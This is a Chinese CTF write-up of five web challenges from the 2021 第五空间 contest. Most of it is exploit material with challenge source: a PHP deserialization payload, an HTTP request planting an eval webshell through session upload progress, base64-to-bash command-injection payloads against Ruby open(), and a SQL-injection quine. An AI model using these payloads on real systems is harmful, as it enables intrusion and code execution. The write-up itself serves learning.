Back

2021第五空间线上web

躺了

WebFTP

根据指纹找到了github上的源码:wifeat/WebFTP

默认的密码admin888无法登录,账户信息存在Data/User/md5(username).php中,从代码逻辑上看不出什么漏洞

发现Readme目录下有一个php探针,刚开始进去四处点 点不出东西,然后看了下源码发现提交act参数即可拿到phpinfo,然后flag在phpinfo里边

payload:/Readme/mytz.php?act=phpinfo

pklovecloud

(不是很懂题目“pklovecloud”是啥意思。。。

直接给源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

这里主要是有个未知的$heat变量,但是没有使用global关键字的话是取不到开头include到本文件中的变量,所以应该是null,我们直接置空即可

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include 'flag.php';
class acp
{
    protected $cinder;
    public $neutron ;
    public $nova ;
    function __construct($cinder)
    {
        $this->cinder = $cinder;
    }
}

class ace
{
    public $filename = "flag.php";
    public $openstack;
    public $docker;
    function __construct($docker)
    {
        $this->docker = $docker;
    }
}

$cp = new acp("123");
$ce = new ace(serialize($cp));
echo urlencode(serialize(new acp($ce)));
?>

payload:O%3A3%3A"acp"%3A3%3A%7Bs%3A9%3A"%00%2A%00cinder"%3BO%3A3%3A"ace"%3A3%3A%7Bs%3A8%3A"filename"%3Bs%3A8%3A"flag.php"%3Bs%3A9%3A"openstack"%3BN%3Bs%3A6%3A"docker"%3Bs%3A69%3A"O%3A3%3A"acp"%3A3%3A%7Bs%3A9%3A"%00%2A%00cinder"%3Bs%3A3%3A"123"%3Bs%3A7%3A"neutron"%3BN%3Bs%3A4%3A"nova"%3BN%3B%7D"%3B%7Ds%3A7%3A"neutron"%3BN%3Bs%3A4%3A"nova"%3BN%3B%7D

EasyCleanup

题目好像下午的时候被搅屎了,还导致比赛被迫暂停(xs

直接给源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

if(!isset($_GET['mode'])){
    highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
    $shell = $_GET['shell'] ?? 'phpinfo();';
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
    eval($shell);
}


if(isset($_GET['file'])){
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
    include $_GET['file'];
}


function filter($var): bool{
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

    foreach($banned as $ban){
        if(strstr($var, $ban)) return True;
    }

    return False;
}

function checkNums($var): bool{
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $cnt = 0;
    for($i = 0; $i < strlen($alphanum); $i++){
        for($j = 0; $j < strlen($var); $j++){
            if($var[$j] == $alphanum[$i]){
                $cnt += 1;
                if($cnt > 8) return True;
            }
        }
    }
    return False;
}

?>

查看phpinfo发现session.upload_progress.cleanup参数是Off且session.save_path参数为空,参考:session.upload_progress+LFI实现RCE - ca01h’s Blog,还不需要条件竞争。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST / HTTP/1.1
Host: 114.115.134.72:32770
Content-Length: 3144
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjyLGZ6hpSLAUXQv6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Edg/93.0.961.47
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=Kk
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryjyLGZ6hpSLAUXQv6
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php @eval($_POST[k1te]);?>
------WebKitFormBoundaryjyLGZ6hpSLAUXQv6
Content-Disposition: form-data; name="file"; filename="untitled.php"
Content-Type: application/octet-stream

<?php

class


------WebKitFormBoundaryjyLGZ6hpSLAUXQv6--

然后直接访问/?file=/tmp/sess_Kk即可

PNG图片转换器

附件给了app.rb:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

参考:Ruby的 open 函数导致命令执行 | Yukang’s Page,有ping命令注入内味儿了,因为过滤了../,所以可以用编码绕过

payload:

1
2
3
4
//ls /
file=|echo bHMgLw==|base64 -d|bash||1.png
//cat /FLA9_wmXLXmOWKLLQkpP0ceIy
file=|echo Y2F0IC9GTEE5X3dtWExYbU9XS0xMUWtwUDBjZUl5|base64 -d|bash||1.png

yet_another_mysql_injection

根据hint拿到源码/?source

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>

最后注出来发现库里面没东西,需要利用trick使得输入和输出相等,这里直接拿队友的exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def quine(data, debug=True):
    if debug: print(data)
    data = data.replace('YY',"REPLACE(REPLACE(YY,CHAR(34),CHAR(39)),CHAR(89),YY)")
    blob = data.replace('YY','"Y"').replace("'",'"')
    data = data.replace('YY',"'"+blob+"'")
    if debug: print(data)
    return data
data = quine("'UNION/**/SELECT/**/YY/**/AS/**/ZZ#")
print(data)

#改了下脚本
#https://www.shysecurity.com/post/20140705-SQLi-Quine
#看上面这篇文章

payload:'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("Y",CHAR(34),CHAR(39)),CHAR(89),"Y")/**/AS/**/ZZ#',CHAR(34),CHAR(39)),CHAR(89),'"UNION/**/SELECT/**/REPLACE(REPLACE("Y",CHAR(34),CHAR(39)),CHAR(89),"Y")/**/AS/**/ZZ#')/**/AS/**/ZZ#

Licensed under CC BY-NC-SA 4.0
comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy